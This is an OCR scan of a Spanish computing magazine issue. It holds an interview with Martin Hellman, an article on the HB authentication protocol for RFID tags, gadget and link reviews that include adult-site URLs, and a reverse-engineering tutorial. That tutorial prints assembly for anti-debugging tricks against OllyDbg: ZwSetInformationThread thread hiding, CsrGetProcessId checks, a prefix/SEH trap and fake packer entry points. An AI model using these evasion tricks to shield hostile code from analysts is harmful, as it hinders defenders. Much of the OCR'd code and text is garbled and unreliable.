¥ . LO que parece ser una oposicion, mu-
chas veces no lo es, No es A o B sino A ¥
B. ;Debo publicar mis investigaciones o
debo ayudar a proteger a la gente, prote-
giendo cierta informacion?

-;Y la respuesta es?

-El mundo es un sitio peligroso. En nues-
tros paises tenemos libertades que el res-
to no tiene. No estoy de acuerdo con
todo lo que hace mi gobierno, pero le es-
toy agradecido por algunas cosas, como
protegerme, que yo pueda publicar mis
investigaciones v, ademas, pueda quejar-
me de lo que no me parece bien. Los
atentados terroristas como el 11-8 o el
11-M son horribles pero, jcudntos mas
han evitado los gobiernos v sus servicios
de inteligencia? Asi que yo y la universi-
dad hemos tenido relacidn con gente de
la NSA, pero nunca trabajamos para ellos.

-#Cuil es la aplicacion de su invento que
le gusta mas?

-{Un largo silencio, parece que nunca se lo
hayan preguntado). Lo mds usado es S5L 3,
por supuesto me gusta porque asi la gente
puede comprar cosas por Internet. También
me gusta la idea de las firmas digitales, aun-
que de momento no esta siendo muy usada.

-Ciertamente.

-En el mundo militar y la industria, si, pero
no ha llegado masivamente al publico.
Otra aplicacién interesante, que no esta
sienco usada adn, es sdlo una idea: en un
centro de investigacion nuclear del gobier-
no de los Estados Unidos, Sandia National
Laboratories, en México, hay un hombre,
Cus Simmaons, que trabaja en armas ¥ en
control de las mismas. A finales de los 70
surgid un problema: Estados Unidos v Ru-
sia querian firmar un tratado de control de
sus armas nucleares y no se ponian de
acuerdo. La idea era poner sensores en los
centros que tenian armas y que la informa-
cion de estos sensores se enviase a ambos
bandos. Pero los Estados Unidos no con-
fiaban en los soviéticos, les crefan capaces
de inyectar datos falsos para que un movi-
miento enemigo pareciese un terremoto.

Aja.



Y los rusos tenian otro problema: les preg-
cupaba que les envidsemos datos distintos
de los producidos por los sensores v que
ellos no pudieran comprobarlo. jQuién les
aseguraba que les envidbamos los buenos?
Gus Simmaons, en Sandia, les dijo que esto
podia arreglarlo la criptografia de clave pd-
blica. Como tendrian la clave puablica, los
rusos podrian comprobar los datos que les
llegaban v ver que no les estibamos en-
ganando con informacidn falsa. Y los ame-
ricanos podian estar seguros de que nadie
habia inyectado datos falsos porgue el ci-
fraclo, ademds de dar privacidad, da auten-
ticacion, actuando como un sello de
seguridad. Esta es mi aplicacidn favorita,
me encanta, aungue al final nunca se llevd
a cabo. Lo que habian planteado como un
problema técnico no era tal, en realidad
era politico v militar y de la forma como
pensamos, como siempre.

-Desde los 80, usted trabaja también pa-
ra evitar el mal uso de la tecnologia, pa-
ra la paz.

-Bueno, mds bien diria que trabajo para la
supervivencia de la raza humana. La paz
25 una utopia. Estoy preocupada por di-
versos temas, como la degradacion del
medio ambiente, pero el mds peligroso
son las armas nucleares, Empecé a preo-
cuparme por eso en los 80, cuando Esta-
dos Unidos y Rusia peleaban como nifios
y un solo error podia haber provocado
grandes danos.

-Ahora hay mas paises jugando con esto.

.50, la proliferacion nuclear. ¥ ademas la
guerra fria acabo sélo temporalmente. Si
las relaciones entre EEUL! y Rusia vuelven
a ir mal, cosa muy probable, tendriamos
otra vez algo parecido a una guerra fria.

=Brrr...

-La cuestion es: las armas nucleares que
aln existen, jcudntos afios seguirdn fun-
cionando y cudntos pueden pasar antes
de que hayva un accidente? Si hablamos
de probabilidades, podemos decir que
hay una probabilidad entre 1.000 cada
ano de que haya un accidente. En una dé-
cada, es una probabilidad entre 100. Si
hay una probabilidad entre 100 de que
mueras haciendo deporte, no hards de-
porte, porque es demasiado. Y aqui no
hablamos de una muerte individual, sino
de la muerte de una civilizacicn.

-;De verdad es tan probable?

-5i no hemos resuelto este problema en
50 anos y ademads mads paises se unen a
esta proliferacian, el terrorismo nuclear
podria ser la chispa que encendiese una
gran guerra. No seria la primera vez: en
sarajevo, en 1914, un terrorista con una
homba empezd una guerra mundial. Es
demasiado arriesgado, pero la gente no
estd preocupada por esto.

-3Qué propone usted?

-El primer paso es que la poblacién reco-
NOZCa que es un fesgo y presione a sus go-
biernos. Imagina que Espana es atacada,
cuando es un pais que ni tan solo tiene ar-
mas nucleares, Los paises pequenos que no
tienen este armamento corren igualmente
un riesgo vy deberian ser los primeros en
presionar para que acabe esta carrera.

-;Y cdmo conscienciar a la gente?

-Con el boca a boca. Lo primero, que estoy
intentando, es conseguir una masa critica,
Crear un mecanismao viral para que esto se di-
tunda. En los 80 no teniamos Internet a nivel
masivo. Hoy si y podemos difundir este men-
saje. Hay muchas formas. Una, por ejemplo,
puede ser que cuando te encuentras con al-
guien y te dice: -;0Qué tal estds? Respondes: -
Fues te sonara raro pero he empezado a
preocuparme en serio por la guerra nuclear.

L RN AYE-a Y- MARTIN E. HELLMAN

“ANTES DE INVENTAR LA
CRIPTOGRAFIA DE CLAVE
PUBLICA, VINO GENTE DE

LA NSA A OFRECERME TRA-
BAJO, PERO LES DIJE QUE
NO PORQUE ME GUSTABA
PUBLICAR MIS INVESTIGA-
CIONES, NO QUE FUESEN
CLASIFICADAS"

-Entiendo. Es lo que esta usted haciendo
ahora conmigo.

Y la persona puede que se sienta intere-
sada a su vez. O no. No pasa nada. No
hay por qué discutir ni intentar conven-
cerla, no tienes por qué volverte odiosa,
En realidad, encuentras a mucha gente in-
teresacla, Es asombroso, cuando les hablo
de esto, cuanta gente tiene un profundo
miedo v entendimiento sobre ello.

-;Como piensa usar Internet para este
fin?

-Poniendo en marcha un sitio web con
un contador o algo parecido, que mues-
tre la gente que se suma a esto. Las per-
SONAs Necesitamos ver un progreso, solo
asi mantenemos la esperanza. Otra cla-
ve es que lo que la gente deba hacer
tenga un coste minimo: se lo cuentas a
alguien v, si le interesa, bien. 5i no, no
luchas contra él. Si conseguimos difun-
dirle de una forma viral, crecerd expo-
nencialmente, los medios lo cubrirdn,
mads gente lo oird y, por fin, los politicos
se implicaran. Como dijo un politico
francés del siglo XIX: "Tengo que seguir-
los, porque soy su lider”.

Merceé Molist
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Parte IV

Hola a todos los amigos reversers, esta vuelta seguimos con algunos trucos mas....
Repasaremos los dos anteriores y retomaremos, con algunas técnicas un poco més extrafias pe-
ro no menos importantes. Que lo disfruten...




Anteriormente...

Anti RDG Detection

Lo que hace RDG, es chequear en el OEP
por patrones. Entonces, podemos insertar
una cantidad de bytes, en el OEP v provo-
car que detecte un protector erroneo.

Este es el QEP tipica de una aplicacion
protegida con ASProtect:

PUSH offset BRealStart
CALL Edalta
RET
fdelta:
t RET

! Bytes basura, no tienen
un significado.

db
OBh, 0B6h, 66h, 0B1h, 22h, 0B7h

Ahora veremos como se compila este cé-
digo de aqui arriba:

00401000 PUSH AntiRDG-
-00401012

004010035 CALL AntiRDG-
.0040100B _ '
00401002 RETN

0040100B  RETN :
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Veremos ahora como es en binario este
codigo:

68 12 10 40 00 E8 01 00 00 0O
LLE e

Este de aqui arriba, como podemos ver,
es el OEP tipico de ASProtect.Seria lo
que nuestro querido RDG Packer Detec-
tor buscaria. :

BRealStart:
FUSH 40h
PUSH offset msgTitle
PUSH offset msgText

2 Bt Al S

Aqui arriba es donde empieza el verdade-
ro EOF, como veremos, seguramente
RDG, detectard ASProtector, cuando
nuestro programa no estd protegido con
éste protector, ni con ningln otro.

Aungue debo decir que las versiones mas
nuevas de éste detector, ya detectan las
signaturas o OEP falsos.

Deteccion por mala formacion de strings

@-m

CUANDO UNA APLICACION ES DE-
BUGGEADA, UN PROCESO DENO-
MINADOCSRSS.EXE ES ABIERTO,
Y EL PROCESO DEBUGGEADO TIE-
NE CONTROL TOTAL SOBRE ESTE
PROCESO

Este truco, aprovecha un error del debug-
ger Olly, para romperlo. Utilizando un
nombre de archivo del tipo %s%s, provo-
ca que Olly se rompa, y no pueda ser de-
buggeado con este.

PUSH 512

PUSH offset filename
Jis%s.exe

PUSH 0 :

CALL GetMocduleFileName

MOV ECX,offset filename
ADD ECX,Eax

Aqui obtiene el nombre del archive. ¥ lo
carga en memaoria,

Luego hay una iteracion hasta encontrar
el simbolo '\ Si lo encuentra, significa,

que encontramos el nombre del archivo.
PUSH ECX
PUSH offset OriginalFi-
leName ;%s%s.exe ;
CALL lstrcmp

Ahora que obtuvimos el nombre del ar-
chivo, lo comparamos con el patrén
"VasTos.exe’.

. TEST EAX,EAX
JNE EDel:rugge:-Dei_:ec ted

5i no son iguales se detectd el debugger,
5i son iguales entonces continuamos la
ejecucion de manera correcta v normal.

Deteccion utilizando
CsrGetProcessld

El truco de deteccidn consiste, en aprove-
char, la estrategia del SO al debuggear un
fichero.

Cuando una aplicacion es debuggeada,
un proceso denominadoCSRSS.EXE es
abierto, y el proceso debuggeado tiene
control total sobre este proceso.



Bien el APl CsrGetProcessld, obtiene el
handle del proceso CSRSS, lo cual es utili-
zado posteriormente, con el APl Open-
Process para ver si esta siendo
debuggeada la aplicacion.

Si se devuelve un 1D de proceso, quiere
decir que hay un debugger en el sistema.

.data

nt db "ntdll.dll",0h

ntapi db "CsrGetPro-
cessid", Oh

PUSH offset nt
smtdll.dll
CALL LeoadLibrary

PUSH offset ntapi
;CsrGetProcessld

FIISH EAX

CALL GetProchddreszss

Aqui arriba obtenemos la direccidn de la
APl CsrGetProcessld, como vemos utiliza-
mos la APl GetProcAddress.

CALL EAX
TEST EAX, EAX .
JE @DebuggerDetected

Luego de obtener su direccidn, llamamos
a la API, para que sea ejecutada. Si no se
logra obtener un Id, entonces tenemos
también un debugger.

PUSH EAX

PUSH Oh

PUSH 0C3ah : CREA-
TE THREAD|VM OPERATION|VM RE-
AD|VM_WRITE

CALL OpenProcess

Si llegamos hasta aqui arriba, ahora lo
que nos queda es abrir el proceso,

TEST EAX,EAX
JNE @DebuggerDetected

Entonces, si se devuelve un valor en EAX,
tenemos el proceso abierto, v por lo tan-
to, hay un debugger usandose en nuestra

EL ERROR CONSISTE EN QUE SI
SE INSERTA UN PREFIJO ANTES
DE UNA INSTRUCCION DE LONGI-
TUD 1 BYTE, Y QUE DISPARE UN
SEH, OLLY VA A IGNORARLO Y SE-
GUIRA EL FLUJO DE EJECUCION

m ANTIDEBUGGING

aplicacion. Si no lo hay, pues, no habra
debugger.

Deteccion utilizando
ZwSetInformationThread

Esta deteccion, complica bastante a un
debugger, en el caso de Olly, trabandolo
v haciendo que tengamos que cerrarlo.

Lo que ZwSetinformationThread hace es
evitar que el debugger reciba eventos de
debug del thread gque manipula.

PUSH NtSetInf.0040306B

; /FileName = "ntdll.dill"
CALL <JMP.&kernel3?.LoadLi-
bracyh>

PUSH HtSetInf.00403075

; JProcHNameOrdrdinal = "ZwsSe-=
tInformationThread"

FUSH EAX

; |hModule

CALL <JMP.&kernel32.GetPro-
cAddress>

Entonces, aqui arriba, levantamos la li-
breria ntdll.dll, y obtenermos la direccion
ZwSetinformationThread.

.nPack:08533180
.NPack:085331B8
.nPack:085331680
.nPack:00533187
.NPack:00533169
.nPack:0885331BE ;
.NnPack:0805331BE
-nPack:805331BE
-nPack:0805331BE
-nPack:805331BF ;
.nPack:8085331BF
-.nPack:0085331BF
-nPack:005331BF
-nPack:005331C4L
-.nPack:805%331C9
-.nPack:805331CE
-NPack:005331D4
-nPack:8085331D9
-nPack:885331DE
-nPack:005331E3
-nPack:085331E8
-nPack:085331ED
-nPack:0805331F2
-nPack:08085331FC
.nPack:00533202
.nPack:00533208
.nPack:005332068
.nPack:0868533208

start

loc_5331BF:

public start
proc near -
cmp ds:dword S533E4C, @

; CODE XREF: start+91j

jnz short locret 5331BE
jmp loc 5331BF

retn

call sub_ 533284

call sub_53323C

mou eax, offset start
sub eax, ds:dword_ 533EBB
moy ds:dword_533E48, eax
call sub_53327h

call sub_ 533410

call sub_5338CS

call sub_533819

mov eax, ds:dword S533E48B
mow ds:dword 533E4C, 1
add ds:dword 533E08, eax
push ds:dword 533E00

retn

DATA XREF: start+19}]o

npack_antry
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MOV ESI,EAX

CALL <JMP.tkernell2.GetCu-
rrentThread>

PUSH ©

BPUSH 0O

FUSH 11

FUSH EAX .

CALL ESI

Bien, aqui arriba, obtiene el actual handle
del Thread, que se esta debuggeando, y
se llama al ZwSetinformationThreacl,

Entonces, el debugger, pierde el control
del thread que se esta debuggeando v no
VEremos mas a nuestra victima. :)

PUUSH 40

PUSH NtSetInf.00403000

i |Title = "Debugger not
found: ™

PUSH NtSetInf.00403014

FUOSH O

CALL <JMP.&user3Z.MessageBoxh>
BUSH 0

CALL <JMP.&kernel32.ExitPro-
cess>

Aqui arriba, estd la rutina de notificiacion
del usuario, en caso de no ser encontra-
do. ¥ saliendo del proceso del detector
en todo caso.

Deteccion de_Olly por mal
manejo de prefijos

Se trata de un error de Olly, que no ma-
neja bien los prefijos.

El error consiste en que si se inserta un
prefijo antes de una instruccién de longi-
tud 1 byte, y que dispare un SEH, Olly va
a ignorarlo y seguira el flujo de ejecucian.

Si el debugger no estd presente se ejecu-
tard el SEH, y seguird la ejecucion del co-
digo dentro del SEH.

S5i lo ponemos asi, funciona como una
trampa.

ASSUME FS:MOTHING

PUOSHAD

MOV DWOED PTR Save-
dESE] ,ESP

PUSH cffset SehContinue

rInstala el SEH

PUSH DWORD PTR FS:[ O

MOV DWORD PTR
Fs:[ 0] ,ESP

Podemos ver como iniciamos aqui arriba,

en estas dos instrucciones, el identificador
de la excepcidn o el exception handler..

(@ IH]

db 0F3h,é4h
;Prefijo
db 0Flh
;INT 1h {longi-
tud de 1 byte)
POP DWORD PTR FS:[ 0]
: Remueve &l SEH
ADD ESP; 4
POFAD

Aqui arriba, alineamos la pila, v restaura-
mos todo. i seguimos por aca, quiere de-
cir que estamos frente a un debugger.
Sino Olly, no pasaria por el prefijo.

EUSH: 30h

PUSH offset DhgFoundTitle
PUSH offset DbhgFoundText
BUSH 0

CALL MessageBox

RET

Aqui arriba, los mensajes de notificacién
correspondientes,

SehContinue:
' . POP DWORD PTR FS:[ 0]
iBemueve el SEH
MOV ESF,DWORD PTR[ Save-

dESPE] ;:Restaura ESP
POPAD
PUSH 40h
PUSH offset DbgNot-
FoundTitle

FUSH ocffset DbgNot-
FoundText

PUSH O

CALL MessageBox

RET

Y por dltimo, se remueve el SEH, cuando
no esta Olly, lo podemos ver en SehCon-
tinue, se restaura ESP, por lo tanto se ali-
nea la pila. Luego se muestra el cartel de
no encontrado el debugger.

Deteccion dfl plugin HideDe-
bugger en Olly

El mencionado plugin, modifica el API
OpenProcess, insertando un JMP FAR, el
cudl el cddigo de operacion es EAh.

PUSH offset Hrnel3?
;kernel3z2.dll
CALL GetModuleHandle

PUSH offset OpnProcess
iOpenProcess

PUISH EAX

CALL GetProcAddress

Primero se obtiene el kemnel32, y luego la
direccién de la funcién OpenProcess.

CHME BYTE
ETR] EAX+&] ; OEAQ
JE @DebuggerDetected

Luego, se compara el byte nimero 7 (em-
pezando desde la posicidn 0) con el valor
del IMP FAR. Si vale lo que mencioné an-
tes, entonces se muestra el mensaje de
debugger detectado, sino no.

Mala interpretacion y complicacion en
debugging por mal PE-Header

Una de las cosas mas simples, pero a la
vez mas complicadas para un programa-
dor de un debugger, es la interpretacidn
v la aplicacién de las reglas a un fichero,
seglin sus valores de cabecera, que, en
teoria deberian reflejarse en lo que se
verd posteriormente, para el usuario.
Mostraré un valor erréneo de cabecera, el
que mds complicd a Olly, cuando lo probé,
y se trata de los llamados LoaderFlags.

20n un conjunto de flags que son utiliza-
dos s6lo para debuggers. Raras veces és-
tos flags son establecidos por los
linkeadores. Los valores posibles son:

“1 {Invoke a breakpoint instruc-

tion before starting the process?)
2 {Invoke a debugger on the

process after it's been loaded?)”

En el fichero analizado, LoaderFlags con-
tiene el valor: 0x298168A8

Como verdn es completamente imposible
que Olly, pueda interpretar este valor, y
menos pensando que solo son posibles 2
de ellos.

Tranquilamente, puede ser utilizado co-
mo buffer overflow, produciendo una in-
trusion inclusive. Pero esa, esa es oftra
historia. )

Conclusion

Bien amigos, hemos visto diversos trucos,
bastante interesantes, utilizados por mu-
chos protectores, que podremos implemen-
tar en nuestras aplicaciones sin muchos
inconvenientes, por no decir ninguno.

Mos vemos en la proxima. Espero que les
haya gustado como a mi.

Spark

hitp:/ /www.disidents.org

http://www.intrabytes.com

spark@disidents.org

arielrm@intrabytes.com
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cer Cuadro 1 “apacidad de retencion dependia del ti-  to con la limitacidn de memaria, las per-
»>> Cuadro 1

Estandares: EPC Class-1 Generation-2, ISO/IEC 18000

Fuente de alimentacion: Pasiva. La energia es obtenida de la sefiales enviadas por los lectores.

Capacidad de almacenamiento: Entre 32 bit y 1000 bit.

Ctrrgtu:}:erla: 2350 - 4000 puertas logicas equivalentes. Criptografia clasica (simétrical asimétrica) no puede ser so-
ortada.
istancia de lectura: Hasta 3 metros

Precio: Entre 0.05€ y 1€,
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Almacenamiento
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Procesamiento

Seres humanos

PARA QUE EL USO GENERALI-
ZADO DE LAS TARJETAS RFID
SEA UNA REALIDAD, SE TEN
DRAN QUE RESOLVER CIERTOS
PROBLEMAS DE SEGURIDAD.



HACK HUMAN PROTOCOLS

>>> Listado 1

Interaccion 1:
A->B: ¢ = (c0 cl c2)
B->A: r=c¢ - Xx = (c0 cl c2) - (20 x1 x2) = c0x0 + clxl + c2x2

Interaccidén 2:

A=2R ol =uledf a1l el

Bé?ﬂé e temielites = et el o e27) . o i x0%1 %2) = c0'x0 4+ cI'x]l +
= X

Interaccidén 3:

1ot o SN o UL R i 1 T - 1 LSRR

B=>A: ' lm off . e L SR o LS SR e LS =l lex Y Txd)
cl' "'x]l + 2 %2

LAS CAPACIDADES DE COMPU-
TO Y DE ALMACENAMIENTO DE
LAS ETIQUETAS DE BAJO COSTE
SON MUY SIMILARES A LAS QUE

POSEEMOS LAS PERSONAS
PITCHES
100-8000 CPS

TRANSHMITTED INFORMATION

SREEEE 2 3 +
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Lecior (secreto x)

1. Genera: a €, {0.1}"

2 Calgilgr F=a~x@u
3. Comprueba: a-x=z

Frotocols WE

>>> Enlaces

El nimero magico 7: http://www.musanim.com/miller1956

&

ver Listado 1

fry [0 d 2 )l

Fi=f dF e ¢ |-|x2

) el od® 2 \a3)

PARA CONSEGUIR QUE LA EN-
TIDAD B PROPORCIONE RES-
PUESTAS INCORRECTAS, SE
ANADE UN BIT DE RUIDO A LA
RESPUESTA PROPORCIONADA
POR ESTA ENTIDAD

El nimero magico 4: http://www.ai.rug.nl/~niels/publications/cowanBBS.pdi :
Paralelismo entre las personas y los dispositivos pervasivos: http://saweis.net/pdfs/persec.pdf
RFID -Human Protocols: http://www.rsa.com/rsalabs/staif/bios/ajuels/publications/pdfs/Ipn.pdf

Virus RFID: http://www.rfidvirus.org/
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do estd dada por la distribucién de pro-
babilidad de la variable ")". Esta variable
toma el valor 1 con probabilidad 1 (0,
1/2) La resolucion del problema ante-
rior s conoce como el problema de
aprendizaje paridad con ruido (Leamning
Parity Problem - LNP).

Bazandose en la idea de introduccidén de
ruido, Hopper v Blum propusieron un
nuevo protocolo. Este mismo protocolo
lue adaptado por los investisadores Jules
v WWels para las etiquetas RFID de bajo
coste. Concretamente este dltimo serd el
gue presentaremos al lector. Al igual que

A

.

antes es asumido que el lector v la eti-
gueta comparten un secreta “x” de n
bits. Una iteracion del protocolo estard
COMIpLUesia o 0% sIuentes pasos:

1LEl lector enviard un reto a la etiqueta,
consistiendo en un vector aleatorio bina-
o “c” de n bits.

2.La entidad B computard el producto
escalar entre la clave v el retor = ¢ - x.
Estas operaciones se hardn en aritmética
madular, por lo que suma serd equiva-
lente a la realizacion de un OR-exclusivo
XOR). Para aquellos lectores que no
estén lamiliarizados con las operaciones
en aritmetica modular, la operacién OR-
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exclusivo devuelve un 0 cuando los dos
operandos son iguales (00 6 11), v de-
vuelve un 1 cuando los dos operandos
son distintos (01, 10). Una vez calculado
el producto escalar, la etiqueta gene-
rard ruido de forma aleatoria, consistien-
do en un valor de un bit, que tomarad 0 6
1. Una vez generado el ruido, se compu-
tara la operacion XOR entre el resultado
del producto escalar v el ruido. Final-
mente este dltimo valor calculado sera
enviado al lector,

3LEl lector comprobard si el valor envia-
do por la etiqueta es correcto.

(\ =\

Dehido a la introduccion del ruido de for-
ma aleatoria, es necesaria la ejecucion de
diterentes iteraciones del protocolo  (pa-
0 1-3) para poder aulenticar a una eti-
queta. 5i el paso basico del protocolo es
repetido “k” veces, la autenticacion es co-
rrecta si el numero de aulenticaciones fa-
llidas de la etiqueta es inferiora k-5 .

La introduccion del ruido hace que un
adversario que intente averiguar el secre-
to compartido “x" tenga que resolver el
problema de paridad con ruido. | lopper
v Blum demostraron que el protocolo
HE es NP-resistente frente a atagues pa-
sivos. Los atagues pasivos son agquellos
en los que el atacante dnicamente pue-

de observar el canal, escuchando los
mensajes intercambiados entre el lector
v la etiqueta pero sin posibilidad de alte-
rarlos o introducir nuevos mensajes. A su
vez un problema se dice que es NP-resis-
tente, si el tiempo necesario para resol-
verlo es polinomial. Concretamente, la
mejor aproximacion para resolver el pro-
blema anterior fue propuesta Blum, Kalai
y Wasserman (Moise-Tolerant Learning,
the Parity Problem, and the Statistical
Query Model. Journal of the ACM 50, 4
(July 2003), 506-519) los cuales fijaron
el tiempo de computo en 27, siendo p
iguala =,

Niags #5

La implementacion del protocole HB en
hardware es muy sencilla. El computo
del producto escalar “c . x” sélo requiere
puertas Iogicas AND y XOR vy puede ser
computado bit a bit. Por tanto, no hay
necesidad de almacenar el reto “a” en
eI,

El bit de ruido puede ser ficilmente ge-
nerado mediante ruido térmico, ruido de
tondo, ruido de ruptura de un diodo,
etc. Salo se necesita un dnico bit en ca-
da iteracion.

Ana Luz Cortés Vara
Pedro Peris Lopez



iJUAS, JUAS, JUAS!
iCON ESTA POCIMA PODRE DORMIR
HASTA QUE ACABE LA PUNETERA
HUELGA DE GUIONISTAS!

S/ HOMBRE,

Y MIENTRAS TANTO
ZQUIEN TE LIMPIA
LOS SOBACOS
Y LAS OREJAS?
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¢ Qué puede haber mas
emocionante que aventu-
rarse en la Red, a ver con
qué se encuentra uno?
Seguro que viene alguien
y dice que la naturaleza, el
amor y esas cosas, pero
como quedan fuera de
nuestro alcance, preferi-
mos fraeros unas cuantas
resenas. Porgue lo que
nos faltaba aqui era mon-
tar un consultorio senti-
mental, cosa que no
quereéis, verdad?

¢/ Verdad? ; VERDAD?

Donde empieza

n

http://www.engadget.com/2007/1 1/1 8/aibo-gets-anot-
her-shot-at-life-thanks-to-wiimotes/

El colmo del Wiimando

Ya, ya sabemos que es demasiado
pronto para asombrarnos de los
usos que la gente le estd dando y
le va a dar al Wiimando, porque
nos queda para rato, pero es que
es el colmo. Bueno, es el colmo,
pero para ¢l monisimo perro robot
Albo de Sony. Si ya de por si pin-
tan bastos para diversos departa-
mentos del gigante de la
electronica, lo que le faltaba es que
ya la gente le metiera las cosas de
otras companias para manejar las
suyas. Y ¢s que a este usuario se le
ha ocurrido controlar su perrito Al-
bo con el mando de la consola Wii.
Y tiene su gracia, desde lucgo.
aungue a los de Sony poguita debe
hacerles. Sea como fuere, nos que-
dan muchas mds cosas que pueden
hacerse con ¢l mando de la conso-
la blanca de Nintendo. A ver cudl
es el préximo aparato que pode-
mos confrolar con este mando.

Como el haitiano de
Héroes, oi
Ojito al dispositivo de esta pigina.

Tiene la propiedad de borrarlo to-
do, pero de verdad. Vamos, como
un imdn superpoderoso que te ca-
gas (con perdén), pero en un pe-
quedito aparato, para borrar datos
incomodos de nuestros discos du-
ros. Por cjemplo, vamos a venderle
un ordenador a un amigo que sabe-
mos que es un listillo y va a mirar
por lodos los rincones a ver gué

la aventura

Wb an Babsl =i Es g i-ea

encuentra, ¥ no nos quedamos con-
formes con haber formateado el
disco duro. Pues nada, Drive eRa-
zer que te crid v ni rastro de porno.
Lo que no sabemos es como que-
dard la unidad despues de haberle
pasado el cacharro. Ni queremos
saberlo. No hace falta software para
usarlo, ni siquiera tener el ordena-
dor encendido. Por si no recorda-
mos si borramos los datos de las
cuentas bancarias y demis justo an-
tes de entregar el disco duro, Drive
eRazer puede ser la solucion.

http://www.wiebetech.com/products/Drive_eRazer.php
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El Gran Hermano te vigila,
Sultan

http://www.aos.com/wnt/i
| SeePet_s/index360.htm

! o ]
1SeePet360 es un modernisimo apa-
rato mulliusos para los amantes de los
animales. Bueno, para esos amantes
QUE SON Muy amantes, pero Que no
pueden pasarse todo el dia dando
mucstras de su amor a sus mascolas.
Porque hay gente que trabaja, no
credis. En fin. Esa genle que quiere
estar pendiente de su mascota algu-
nos minutos al dia desde su lugar de
trabajo y no sabian como hacerlo por-
que no habian llegado a dominar esos
poderes pueden quedarse tranguilas.
lsecPet360 permile vigilar a nuestra
mascofa a través de su webcam (eso
%, 5i sc estd quictecita), v cuando ve-
amos que ¢s el momento de tenerla
cerca, la llamaremos a través de su
avisador instalado. Es mds, |'I-|Z:l[|t_'EI1U!-:
activar un modo que incluye para dar
e comer cuando queramos a nuesira
mascola. Menuda maravilla. A ver
cuinto tardan en despedirmos por pa-
sarnos ¢f dia mirando a Sulldn en vez
de estar trabajando. <

FEED
(CRAESIS)

INTERNET

| hitpcffwww yourlust.com/galleries/young-busty/ 05 | 41 indexshtml

Vuelven... ILos fotoblogs!

Picantes, enilicos, sugerentes, siliconados, pero sobre todo, sexys. Sablamos que
queriais mas fotos de sefioritas enseflando cacho. De nada.

hittp:/fwww.cmotica-archives. com/updates/updates. php
hittp://ass.bodsforthemods.com/galleries/2007/1 2/alison_angel lime_
reen/index. php

hltp:fnmw.g,alI:ri:.s-mullns.nel.n’:umgIamnm;Sarah_nn_pﬂf:_h_y_Eump:an_
Glamour_Girls/
hittp:/fwww.savvy.comysavey_girls/Teatured/theresa_correa_body_sholts
http:/fwww.doubleviking.com/international-babe-of-the-day-bar-refaeli-66 1 1 -
p-htmi
http://www.bodyinmind.com/cgi-bin/Nikkala_Secret.cgi?verco-
de= | 5080:9804000000668375
hittp//www.chasingjrls. comA2/t 1 php?nats=MTgz0lk6MQ,0,0,0,0
hittp/fass_bodsforthemods.com/galleries/2007/1 2/ftv_girls_lenkafindex.php
http://ass. bodsforthemods.com/galleries/2007/1 2/kates_playground_in_lust/index.php

| hitp:/fwww.galleries. badgirisblog.com/albums/sarahvandella/sarah_vandella_purple_dress.html

1

Al rico mod

Este mes sobran las palabras, solo valen las imdgenes. ¥ s que, {c6mo describir estas tres locuras que tenemos para vosotros?
Aver sl podéis definirtas, porue nos faltan vocablos. Bueno, ko Intentaremos.

hutpe/fwww_instructables. comyid/Blu-Ray-Laser-Pheaserl/

{Para qué puede senvir un BluRay, ademds de para reprodudr pelicu-
las? Pues, segdn los locos de Instructables, para fabricar nuestro propio
Phaser tipo Star Trek. [Excelsior] Ah, que no se decia eso...

hittpz/fwww. hackaday.com/2007,/072 | /game-boy-drum-machine/

La vief

de l:?:nd'.etﬁ:lT.'I.-:ll'liai:h'fj.I
convertida en una
baterta electrini-
3, gracias a um
cartucho Flash de
IME y un interfaz
serle de Bbits. Muérete de emvidia, Phil Collins.

hittp:/fwww.acidmods.comyTorumyindex_phpftopic=
10480.0

{No habiamos quedado en que lo que mola es tener
una PSP mis finita? Pues no parece cundir el ejem-
plo, porque menudo ejemplar de PSP con cimara y
altavoces integrados se ha sacado de |a manga este
usuario. Eso si, farda ko suyo.

REX R&D Team

B

¢Te gusta el modding? ;Eres gamer? ;Quieres obtener el maximo rendimiento de tu ordenador?

¢Deseas conocer gente con tus aficiones para compartir conocimientos?

¢Quieres conocer una tienda de expertos y para expertos, donde te atienda gente como tu?

www. MO D-PC.com

Comunidad de informaticos con foro, noticias, muchas otras secciones y

una gran tienda online con miles de articulos de todo tipo.
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COMPRAS

Tanto que comprar... Y tan poco crédito. ; Has considerado el plu-
riempleo? Ah, que ya tienes dos trabajos. Seguro que tu jefe te ha
dicho eso de que descansar estd sobrevalorado. Asume esa maxi-

dinero para comprar gadgets.

ma, pero para disfrutar de tus cacharritos. Y no nos vuelvas a pedir

Un fantasma es para siempre

Atrds quedaron los anillos de la saga de Tolkien. El estilo retro siempre perdura,
y prueba de ellos son estos anillos sencillamente imprescindibles del clisico de
las recreativas Ms. Pac-Man. Con un fantasma en el dedo, siempre llamaris ka

atencion. Superchic, oiga.
http://store starsandinfinitedarkness.comytiarghrila. html

Esta medusa no pica,

Por si tenemos malos recuerdos de esas medu-
sas que nos picaron el afio pasado en cualquier i
playa (porque dltimamente en la playa hay mds o 4y
medusas que vendedores de refrescos), nada
como tenerkas encerradas para observar su cau- Esto no es un %ad et
liverio. Y, de paso, las usamos de pisapapeles. O eso dice el creador

¢ estas fantisticas F;Iim}mran

http:/fwww.zgallerie.com/pc-4 1 99-106-jellyfish- artesanales. Pero como molan tanto, las ponemos

paperweights.aspx

en la seccion de gadgets, qué narices. Mds que
limparas, son obras de arte de la restauracién y del
arte retro.

http:/www.lamponislamps.com,Tantastic. html#

Calorcito pal cuerpo

Este cacharro no sirve para atarnos fisicamente adn mds al
ordenador y compartir energia vital para cargar el portitil,

" sino para calentarnos un poquito en esos dias de frio invier-
| no, cuando nos congelamos en ¢l puesto de trabajo. Tiene
pinta de laja, si, pero es para dar calorcito.
hittp://www.akihabaranews.com/en/news- 1 5097-Than-
ko%27s+Hotpad%2 C + because + winter +is+approa-
ching%2 1.html

El deporte no es algo tan serio

51 quieres tomarle ¢l pelo a esos deportistas

* amateur gue se toman cada partido como una

finalisima, prueba con eslas pelotas de golf.
Porque explotan. Bueno, no es que exploten
del todo, pero simulan una explosion que de-
jard al aprendiz de Seve Ballesteros con un
buen susto en el cuerpo.
http://www.iwantoneofthose.com/kitsch-
daft/crazy-golf-balls/index. htm
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Este Club Nintendo si que mola

Por si nos vamos a vivir a Japon, habrd que considerar hacerse del Club Nin-
tendo nipén, porque alli sus socios reciben verdaderas cucadas, como este

mando de Super Nintendo para la Wii. IQueremos eso yal 018, ERILE2RAED, 7t 7 33
http://www.gamebrink.com/blog/2007/1 1/15/snes-style-wil-controller-co- :;:;r.gh;g;:ﬁ*_?ﬁ;; = ey
